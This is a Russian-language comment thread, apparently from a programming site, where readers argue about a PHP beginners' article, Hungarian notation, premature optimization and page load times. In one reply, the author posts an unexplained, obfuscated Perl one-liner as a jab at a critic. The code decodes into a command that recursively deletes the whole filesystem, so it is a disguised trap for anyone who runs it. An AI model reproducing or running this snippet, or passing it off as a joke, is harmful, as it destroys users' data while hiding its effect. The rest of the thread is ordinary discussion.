Тёмная сторона в программировании для новичков, в том числе и на php

[AlexeyK]

«Большой сайт пытаться впихнуть в парадигму работы «без SQL» наоборот может негативно сказаться на результатах.» феерично

надо было читать чужой код иногда и делать выводы…

[socialNoob]

А что вы ждали от человека, который:
1. За 6 лет так и не врубился, как использовать венгерскую нотацию
2. «разработка игр не удалась за отсутствием движка» — эпический бред.
3. курить маны по графике в дельфи и не найти инфу про OpenGL — тоже плюс :)
4.«пишите программы как можете сейчас, а не «как нужно»». Ага, только никому код потом не показывайте, особенно коллегам.
5. «Очень помогает в «не изобретению» велосипедов чтение про шаблоны проектирования (паттерны)» — не изобретению велосипедов очень помогает гугл, а паттерны проектирования помогают общению, и при составлении документации.

Уж не знаю, как автор измерял свой опыт работы, но это точно не 6 лет коммерческой разработки.

P.S. «Давайте будем честными: взлом малоизвестного ПО — маловероятно, особенно сайт с посещаемостью

[sumej]

1.Переход на личности признак отсутствия аргументов. Я написал про венгерскую нотацию ПРОЧИТАЙ КОНТЕКСТ.
2.В 97 было сложно без двига писать игру. Было сложно школьнику найти информацию.
Если не знаешь, что такое 14400бит/с с реконектом каждые 7-10 минут, то это не значит — феерический бред.
ЗЫ:
Многие нынешние новички не могут найти ответы на свои вопросы, не потому что её нет — зайди на форум и помоги людям. Когда поможешь паре десяткам задайся вопросом о Их вопросах.
3.Книги != маны, когда ИДЕ != в книге.
4.echo «test… test… test...» | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
5.А Мы разве не про другую сторону?

[jack7277]

Сам дошел до этого (Заниматься предварительно оптимизацией — зло), написал на пхп быдло-код, который работал 8 секунд, радость, всё работает.
Затем 3 дня делал оптимизации, сократил время работы до 2с, затем 4 дня увеличивалл функционал, время работы поднялось до 4-6с, но я знаю что если еще засяду на несколько дней, то вычту 1-2с, но зачем это делать, если текущее время устраивает, не придумал.
А статья понравилась.

[rednaxi]

4-6 секунд это время выполнения кода одной страницы сайта?

Это очень много же

[TheHorse]

Note:

[TheHorse]

Количества полезных операций на одной странице — ненормированно. Может этот результат объективно хороший. Такое может быть.

[rednaxi]

Да, я не спорю, например у нас в админке есть страницы которые генерятся по 10 секунд — разные сложные отчеты и т.д.

Но в клиентской части сайта, мне кажется, стоит стараться избегать таких вещей.

Например, можно делать загрузку страницы по частям, или предварительную генерацию тяжелых вещей и отображать пользователю уже из кеша.

Чтобы пользователь не видел тормозов сайта

[TheHorse]

Ну, автор обсуждаемого комментария не сказал, что это клиентский скрипт…

[rednaxi]

Поэтому я у него и спросил, это код страницы сайта, или просто какой-то скрипт.

Потому что если это страница сайта столько генерится — это долго. Если это просто какой то скрипт и время его работы устраивает — то в этом нет ничего страшного.

[jack7277]

вордпресс плагин, который запускается каждые 30 минут, поэтому время выполнения меня устраивает.

[alienator]

Венгерская нотация, прокрастинация, предварительная оптимизация, взлом…

Я все ждал, когда появятся «окна пвх недорого».

[Archon]

… Преждевременная эякуляция.

Она неплохо бы вписалась продолжением, если посмотреть на кашу из мыслей, которая уже собрана в статье.

[Litiy]

Точно. Статьи без упоминания «прокрастинации» сейчас не в моде, я поглажу…

[Dmitry_Zhariy]

Зачем гладить? Вы уже лучше like'ните :)

[afi]

Это что ли перевод? не пойму… попахивает промптом.

[sumej]

Нет Я таким не балуюсь.

[chEbba]

О чем пост?

[alienator]

О жизни, Вселенной и всем таком

[FreeTibet]

Пост о том, откуда берутся вёбпрограммисты.

[AreD]

Или велопрограммисты.

[sumej]

Я передал атмосферу запутанных мыслей, а так же их следствий — «тёмная сторона в программировании» на примере своих… надцати лет программирования.

[remal]

Про венгерскую нотацию очень хорошо написал как-то Джоэл Спольски: www.joelonsoftware.com/articles/Wrong.html

Автор «Путь Джедая: акт 2» хрень написал. Считать себя умнее, лучше и т.п. — вполне нормально. А вот считать, что при этом не надо развиваться — вот это уже не нормально. В противном случае не было бы тех же великих спортсменов, которые многие годы на вершине и все еще продолжают прогрессировать.

А конкретно топик и не прокомментировать. Стандартный путь разработчика.

[grigoryvp]

В книгах по программированию я читал, что нужно использовать венгерскую нотацию и префиксы формировать по типу данных: int iData;.
Но тут есть минус: при изменении типа потребуется изменять имя переменной.

Ну это как бы не единственный минус венгерской нотации. И вроде как далеко не самый серьезный :). Типы меняются не то чтобы часто. Переименование это примерно одна секунда в современной IDE — кликнуть идентификатор правым кликом, выбрать refactor->rename и ввести новое имя. Более того, необходимость при смене типа переименовывать переменную — многие считают наоборот плюсом — это позволяет самому посмореть на все места где использовалось старое имя и убедиться что смена типа там ничего не поломала (с).

[lampa]

Заниматься предварительно оптимизацией — зло.
Что, что?! По моему это нужно сразу ставить одной из главных целей, т.к. вам не придется возвращаться к старому и всё переписывать заново.

[sumej]

Выбор правильных тулзов != оптимизация.
Настройка Lamp != оптимизация.
Установка APC/mamcache/etc != оптимизация.

Когда всё настроено правильно, но ложится и тогда… оптимизация.

[alienator]

Среднее соображение — еще более полезно %)